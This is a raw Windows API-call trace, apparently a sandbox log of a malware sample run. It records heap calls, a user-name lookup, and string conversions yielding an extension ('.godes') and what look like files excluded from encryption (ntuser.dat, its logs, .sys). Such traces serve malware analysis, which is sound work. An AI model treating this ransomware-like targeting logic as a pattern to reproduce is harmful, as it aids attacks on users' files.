RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10e0) returned 0x327b550 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327a468 | out: hHeap=0x660000) returned 1 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3278460 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b81d8 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2d08 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2f70 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a31d8 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a3440 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a36a8 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a3910 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a3b78 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a3de0 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a4048 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a42b0 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80c) returned 0x3276df0 [0111.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x3276df0, cchWideChar=1030 | out: lpWideCharStr=".godes") returned 7 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x327a468 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3276df0 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283080 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x713d40 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c098 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d40 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf2c8 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x48) returned 0x3286808 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c098 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284410 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf1f8 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3286808 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x326b030 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf1f8 | out: hHeap=0x660000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284458 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd8) returned 0x3201450 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326b030 | out: hHeap=0x660000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32830a8 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326db50 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf1f8 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x138) returned 0x328fea0 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201450 | out: hHeap=0x660000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32844a0 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dba8 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc00 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32844e8 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c8) returned 0x32b89c8 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3283080 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf2c8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284410 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284458 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32830a8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf1f8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32844a0 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dba8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc00 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32844e8 | out: hHeap=0x660000) returned 1 [0111.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b89c8 | out: hHeap=0x660000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b8388 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a4518 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a4780 [0111.405] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a49e8 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a4c50 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a4eb8 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a5120 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a5388 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a55f0 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x327da70 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x327dcd8 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0111.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1d0) returned 0x32b89c8 [0111.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2b7) returned 0x327c638 [0111.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b89c8 | out: hHeap=0x660000) returned 1 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x412) returned 0x3278460 [0111.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327c638 | out: hHeap=0x660000) returned 1 [0111.406] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x61a) returned 0x3276df0 [0111.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3278460 | out: hHeap=0x660000) returned 1 [0111.406] GetUserNameW (in: lpBuffer=0x18c418, pcbBuffer=0x18c184 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18c184) returned 1 [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x590) returned 0x3278460 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x713d40 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c098 [0111.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d40 | out: hHeap=0x660000) returned 1 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x48) returned 0x3286808 [0111.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c098 | out: hHeap=0x660000) returned 1 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf1f8 [0111.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3286808 | out: hHeap=0x660000) returned 1 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x326b030 [0111.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf1f8 | out: hHeap=0x660000) returned 1 [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] GetLastError () returned 0x0 [0111.409] SetLastError (dwErrCode=0x0) [0111.409] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd8) returned 0x3201450 [0111.409] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326b030 | out: hHeap=0x660000) returned 1 [0111.409] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x138) returned 0x328fea0 [0111.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201450 | out: hHeap=0x660000) returned 1 [0111.410] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] GetLastError () returned 0x0 [0111.410] SetLastError (dwErrCode=0x0) [0111.410] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32830a8 [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c8) returned 0x32b89c8 [0111.411] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283080 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3282798 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3282fe0 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32831c0 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2a0) returned 0x327c638 [0111.411] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b89c8 | out: hHeap=0x660000) returned 1 [0111.411] GetLastError () returned 0x0 [0111.411] SetLastError (dwErrCode=0x0) [0111.411] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32831e8 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c098 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326bf48 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283210 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283238 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283260 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283288 [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3f0) returned 0x327ac80 [0111.412] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327c638 | out: hHeap=0x660000) returned 1 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32832b0 [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.412] GetLastError () returned 0x0 [0111.412] SetLastError (dwErrCode=0x0) [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32832d8 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283300 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c028 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c300 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283328 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283350 [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5e8) returned 0x32af9c8 [0111.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283378 [0111.413] GetLastError () returned 0x0 [0111.413] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32833a0 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32833c8 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32833f0 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283418 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283440 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c290 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c338 [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.414] SetLastError (dwErrCode=0x0) [0111.414] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283468 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283490 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32834b8 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32834e0 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283508 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3283530 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x3281a58 [0111.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32af9c8 | out: hHeap=0x660000) returned 1 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x73e740 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x73e9c0 [0111.415] GetLastError () returned 0x0 [0111.415] SetLastError (dwErrCode=0x0) [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c370 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3a8 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x73e998 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x7255c8 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x725500 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x743ba0 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x7196e0 [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] GetLastError () returned 0x0 [0111.416] SetLastError (dwErrCode=0x0) [0111.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3278460 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x814) returned 0x327ac80 [0111.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1034 | out: lpWideCharStr="ntuser.dat") returned 11 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32bafa0 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x713d40 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x81e) returned 0x327ac80 [0111.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1039 | out: lpWideCharStr="ntuser.dat.LOG1") returned 16 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32bb7c8 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d40 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c418 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c418 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x81e) returned 0x327ac80 [0111.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1039 | out: lpWideCharStr="ntuser.dat.LOG2") returned 16 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32bbff0 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x48) returned 0x3286808 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x814) returned 0x327ac80 [0111.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1034 | out: lpWideCharStr="ntuser.pol") returned 11 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x32bc818 [0111.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf1f8 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3286808 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c3e0 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32b99c8 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b99c8 | out: hHeap=0x660000) returned 1 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c3e0 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x808) returned 0x327ac80 [0111.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x327ac80, cchWideChar=1028 | out: lpWideCharStr=".sys") returned 5 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x32bd040 [0111.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ac80 | out: hHeap=0x660000) returned 1 [0111.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 